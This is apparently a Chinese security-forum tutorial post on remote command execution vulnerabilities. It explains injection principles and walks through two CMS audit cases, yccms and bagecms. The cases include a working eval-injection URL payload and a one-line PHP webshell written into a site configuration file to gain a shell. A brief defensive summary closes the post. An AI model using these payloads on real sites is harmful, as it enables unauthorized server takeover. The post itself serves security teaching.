用户
搜索
  • TA的每日心情
    开心
    15 小时前
  • 签到天数: 350 天

    连续签到: 42 天

    [LV.8]以坛为家I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    15

    主题

    76

    帖子

    2793

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2019-11-4

    核心白帽春秋游侠白帽高手积极活跃奖春秋文阁

    发表于 2021-8-11 16:48:54 01875

    本篇文章作者和風,本篇文章参与i春秋作家连载计划所属和風,未经许可,禁止转载。连载方向:web安全,内网安全
    前言
    远程命令执行(RCE---remote code execute)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的一类。
    目录:
    一、记一次web渗透过程
    二、web渗透---SQL盲注漏洞
    三、XSS与CSRF的联合使用
    四、web渗透---文件包含漏洞
    五、web渗透---命令执行漏洞
    六、web渗透---报错注入漏洞
    命令执行原理
    由于在编写web应用的时候需要调用一些函数来执行系统命令,例如

    PHP代码
    systme()、exec()、shell_exec()
    JSP代码

    Runtime run = Runtime.getRuntime();
    run.exec("ipconfig");

    ASP代码

    <%Response.write
    CreateObject("wscript.shell").
    exec("cmd.exe /c ipconfig").StdOut.ReadAll%>

    当用户能够控制这些函数中的参数的时候,就可以将恶意系统命令拼接到正常命令中,从而让函数执行这些恶意的命令,造成命令注入攻击。
    命令执行漏洞分类
    命令注入:
    可通过HTTP请求直接让服务器执行系统命令的漏洞,通常是由于系统命令执行函数引用了用户可控变量且未进行有效过滤引起的。
    代码注入:
    可通过HTTP请求让服务端执行服务端WEB代码的漏洞,通过服务端WEB代码也可以实现服务端系统命令执行,此类漏洞通常是由于代码执行函数引用了用户可控变量且未进行有效过滤弓|起的。常用的一 句话木马就是一个人为生成的代码注入漏洞。
    其他注入:
    还可以还有一些安全漏洞在利用过程中也可能导致远程命令执行(RCE),例如文件包含漏洞、反序列化漏洞等(能够写入恶意代码并且解析恶意代码)
    命令执行案例一
    某CMS通过审计发现存在一条命令执行漏洞,该漏洞点在/public/class/Factory.class.php

    点击进来审计源代码,分析漏洞构成原因
    1.首先该代码的类名为Factory{},该类使用了setAction() 方法,通过调用self:: getA() 方法获取 $a参数进行跳转检查操作,看是否是admin权限,然后通过file_exists()函数检查文件路径是否存在,最后调用eval()执行php代码eval('self::$_obj = new '.ucfirst($_a).'Action();');

    2.这里我们要利用eval函数,首先要绕过file_exists()函数的验证,这个函数在进行检查会有一个bug,比如/controller/admin;/../,函数允许路径中有一些特殊字符,并且遇到/../会返回到上级目录,可以利用这个策略逃逸出 file_exists()函数检查。
    3.构造payload--->Factory();phpinfo();//../
    Factory()是为了闭合eval中的new实例化,然后后面的是执行的命令语句,所以我们要找有生成Factory()实例的文件/config/run.inc.php

    4.查找包含/config/run.inc.php该文件的文件/admin/index.php、/config/count.php

    5.构造payload获取webshell
    http://127.0.0.1/yccms/config/count.php?a=Factory();@eval($_POST[v]);//../
    一句话木马连接成功,获取网站的shell

    命令执行案例二
    某CMS网站模块修改的代码配置没有对文件的内容进行过滤和检测,导致添加恶意代码进去的时候能够直接解析执行

    在后台站点的网站模块下存放着网站的配置文件,其中question/index.php存放的是留言板的配置文件,在question/index.php末尾加上恶意代码,将一句话木马存放到文件su.php中,如果不存在则创建su.php
    <?php file_put_contents("su.php","<?php @eval(\$_POST[cmd]);?>");?>

    访问路径http://xxx.com/bagecms3.1.0/upload/index.php?r=question/index,让代码执行生效,生成木马文件su.php

    访问木马文件su.php,然后通过post请求提交参数代码获取数据

    通过蚁剑工具连接木马,获取webshell

    总结
    命令执行漏洞的防护
    由上述的案例可知,有些参数加入了恶意代码,导致执行了应用程序,所以系统可以设置为不执行外部的应用程序或命令;使用escapeshellarg函数处理相关参数;使用自定义函数或者函数库来代替外部命令的功能。

    剑未佩妥出门已是江湖
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册